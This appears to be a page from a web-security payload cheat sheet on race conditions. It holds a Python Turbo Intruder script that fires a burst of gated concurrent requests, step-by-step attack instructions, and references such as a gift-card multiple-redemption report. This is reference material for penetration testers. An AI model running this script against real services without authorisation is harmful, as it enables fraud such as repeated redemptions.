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49 lines
1.9 KiB
Markdown
49 lines
1.9 KiB
Markdown
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# Race Condition
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> Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.
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## Summary
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* [Tools](#tools)
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* [Turbo Intruder Examples](#turbo-intruder-examples)
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* [References](#references)
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## Tools
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* [Turbo Intruder - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.](https://github.com/PortSwigger/turbo-intruder)
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## Turbo Intruder Examples
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1. Send request to turbo intruder
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2. Use this python code as a payload of the turbo intruder
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```python
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def queueRequests(target, wordlists):
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engine = RequestEngine(endpoint=target.endpoint,
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concurrentConnections=30,
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requestsPerConnection=30,
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pipeline=False
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)
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for i in range(30):
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engine.queue(target.req, i)
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engine.queue(target.req, target.baseInput, gate='race1')
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engine.start(timeout=5)
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engine.openGate('race1')
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engine.complete(timeout=60)
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def handleResponse(req, interesting):
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table.add(req)
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```
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3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
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4. Click "Attack"
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## References
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* [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247)
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* [Turbo Intruder: Embracing the billion-request attack - James Kettle | 25 January 2019](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
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* [Race Condition Bug In Web App: A Use Case - Mandeep Jadon](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e)
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